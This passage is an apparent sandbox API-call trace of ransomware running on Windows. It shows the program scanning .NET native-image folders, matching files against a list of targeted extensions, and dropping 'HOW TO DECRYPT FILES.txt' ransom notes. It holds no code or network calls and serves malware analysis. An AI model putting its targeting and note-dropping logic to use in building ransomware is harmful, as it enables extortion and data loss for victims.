PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.docx") returned 0 [0120.310] lstrlenA (lpString="*.docx") returned 6 [0120.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.7z") returned 0 [0120.310] lstrlenA (lpString="*.7z") returned 4 [0120.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.tar") returned 0 [0120.310] lstrlenA (lpString="*.tar") returned 5 [0120.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.bz2") returned 0 [0120.310] lstrlenA (lpString="*.bz2") returned 5 [0120.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.gz") returned 0 [0120.310] lstrlenA (lpString="*.gz") returned 4 [0120.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.mkv") returned 0 [0120.310] lstrlenA (lpString="*.mkv") returned 5 [0120.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.eml") returned 0 [0120.310] lstrlenA (lpString="*.eml") returned 5 [0120.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.msg") returned 0 [0120.310] lstrlenA (lpString="*.msg") returned 5 [0120.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.edb") returned 0 [0120.312] lstrlenA (lpString="*.edb") returned 5 [0120.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.accdb") returned 0 [0120.312] lstrlenA (lpString="*.accdb") returned 7 [0120.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.odb") returned 0 [0120.312] lstrlenA (lpString="*.odb") returned 5 [0120.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.java") returned 0 [0120.313] lstrlenA (lpString="*.java") returned 6 [0120.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.asm") returned 0 [0120.313] lstrlenA (lpString="*.asm") returned 5 [0120.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.pfx") returned 0 [0120.313] lstrlenA (lpString="*.pfx") returned 5 [0120.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll", pszSpec="*.pem") returned 0 [0120.313] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa94d05d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa94d05d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa94d05d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Net.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0120.313] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.314] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Net.ni.dll.aux") returned -1 [0120.314] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Net.ni.dll.aux") returned -1 [0120.314] lstrcmpiA (lpString1="", lpString2="System.Net.ni.dll.aux") returned -1 [0120.314] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll") returned="System.Net.ni.dll" [0120.314] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\" [0120.314] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\") returned="" [0120.314] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\HOW TO DECRYPT FILES.txt" [0120.314] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.net\\ddb8ea2b489980d178f33196cff065ce\\how to decrypt files.txt")) returned 0x20 [0120.314] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\", lpString2="System.Net.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll.aux" [0120.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net\\ddb8ea2b489980d178f33196cff065ce\\System.Net.ni.dll.aux", pszSpec="*.ems") returned 0 [0120.315] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa94d05d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa94d05d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa94d05d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Net.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0120.315] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0120.315] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa94d05d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa94d05d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa94d05d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ddb8ea2b489980d178f33196cff065ce", cAlternateFileName="DDB8EA~1")) returned 0 [0120.315] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0120.315] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9c40a90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa9c40a90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa9c40a90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Net.22cc68a8#", cAlternateFileName="SYSTEM~1.22C")) returned 1 [0120.315] lstrcmpA (lpString1=".", lpString2="System.Net.22cc68a8#") returned -1 [0120.315] lstrcmpA (lpString1="..", lpString2="System.Net.22cc68a8#") returned -1 [0120.315] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0120.315] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Net.22cc68a8#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#" [0120.315] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9c40a90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa9c40a90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa9c40a90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0120.316] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.316] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9c40a90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa9c40a90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa9c40a90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.316] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.316] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.316] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9c40a90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa9c40a90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa9c40a90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="4b177fc35673f0e089fab5a308e5b5c2", cAlternateFileName="4B177F~1")) returned 1 [0120.316] lstrcmpA (lpString1=".", lpString2="4b177fc35673f0e089fab5a308e5b5c2") returned -1 [0120.316] lstrcmpA (lpString1="..", lpString2="4b177fc35673f0e089fab5a308e5b5c2") returned -1 [0120.316] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\*.*") returned="*.*" [0120.316] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\", lpString2="4b177fc35673f0e089fab5a308e5b5c2" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2" [0120.316] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9c40a90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa9c40a90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa9c40a90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0120.331] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.331] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9c40a90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa9c40a90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa9c40a90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.331] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.331] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.331] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9c40a90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa9c40a90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa9c40a90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Net.Http.WebRequest.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0120.331] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.331] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Net.Http.WebRequest.ni.dll") returned -1 [0120.331] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Net.Http.WebRequest.ni.dll") returned -1 [0120.331] lstrcmpiA (lpString1="", lpString2="System.Net.Http.WebRequest.ni.dll") returned -1 [0120.331] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\*.*") returned="*.*" [0120.331] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\" [0120.331] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\") returned="" [0120.331] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\HOW TO DECRYPT FILES.txt" [0120.331] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\how to decrypt files.txt")) returned 0xffffffff [0120.331] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0120.334] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0120.334] CloseHandle (hObject=0x90) returned 1 [0120.335] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\", lpString2="System.Net.Http.WebRequest.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\System.Net.Http.WebRequest.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\System.Net.Http.WebRequest.ni.dll" [0120.335] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\System.Net.Http.WebRequest.ni.dll", pszSpec="*.ems") returned 0 [0120.335] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9c40a90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa9c40a90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa9c40a90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x250, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Net.Http.WebRequest.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0120.335] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.335] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Net.Http.WebRequest.ni.dll.aux") returned -1 [0120.335] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Net.Http.WebRequest.ni.dll.aux") returned -1 [0120.335] lstrcmpiA (lpString1="", lpString2="System.Net.Http.WebRequest.ni.dll.aux") returned -1 [0120.335] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\System.Net.Http.WebRequest.ni.dll") returned="System.Net.Http.WebRequest.ni.dll" [0120.335] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\" [0120.335] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\") returned="" [0120.335] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\HOW TO DECRYPT FILES.txt" [0120.335] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\how to decrypt files.txt")) returned 0x20 [0120.336] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\", lpString2="System.Net.Http.WebRequest.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\System.Net.Http.WebRequest.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\System.Net.Http.WebRequest.ni.dll.aux" [0120.336] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.22cc68a8#\\4b177fc35673f0e089fab5a308e5b5c2\\System.Net.Http.WebRequest.ni.dll.aux", pszSpec="*.ems") returned 0 [0120.336] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9c40a90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa9c40a90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa9c40a90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x250, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Net.Http.WebRequest.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0120.336] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0120.336] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9c40a90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa9c40a90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa9c40a90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="4b177fc35673f0e089fab5a308e5b5c2", cAlternateFileName="4B177F~1")) returned 0 [0120.336] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0120.336] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa197b1f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa197b1f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa197b1f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Net.Http", cAlternateFileName="SYSTEM~1.HTT")) returned 1 [0120.336] lstrcmpA (lpString1=".", lpString2="System.Net.Http") returned -1 [0120.336] lstrcmpA (lpString1="..", lpString2="System.Net.Http") returned -1 [0120.337] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0120.337] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Net.Http" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http" [0120.337] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Net.Http\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa197b1f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa197b1f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa197b1f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0120.341] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.341] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa197b1f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa197b1f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa197b1f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.341] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.341] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.341] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa197b1f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa19a1350, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa19a1350, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="5529374166119d4622275f6a97e0d7f0", cAlternateFileName="552937~1")) returned 1 [0120.341] lstrcmpA (lpString1=".", lpString2="5529374166119d4622275f6a97e0d7f0") returned -1 [0120.341] lstrcmpA (lpString1="..", lpString2="5529374166119d4622275f6a97e0d7f0") returned -1 [0120.341] PathFindFileNameA 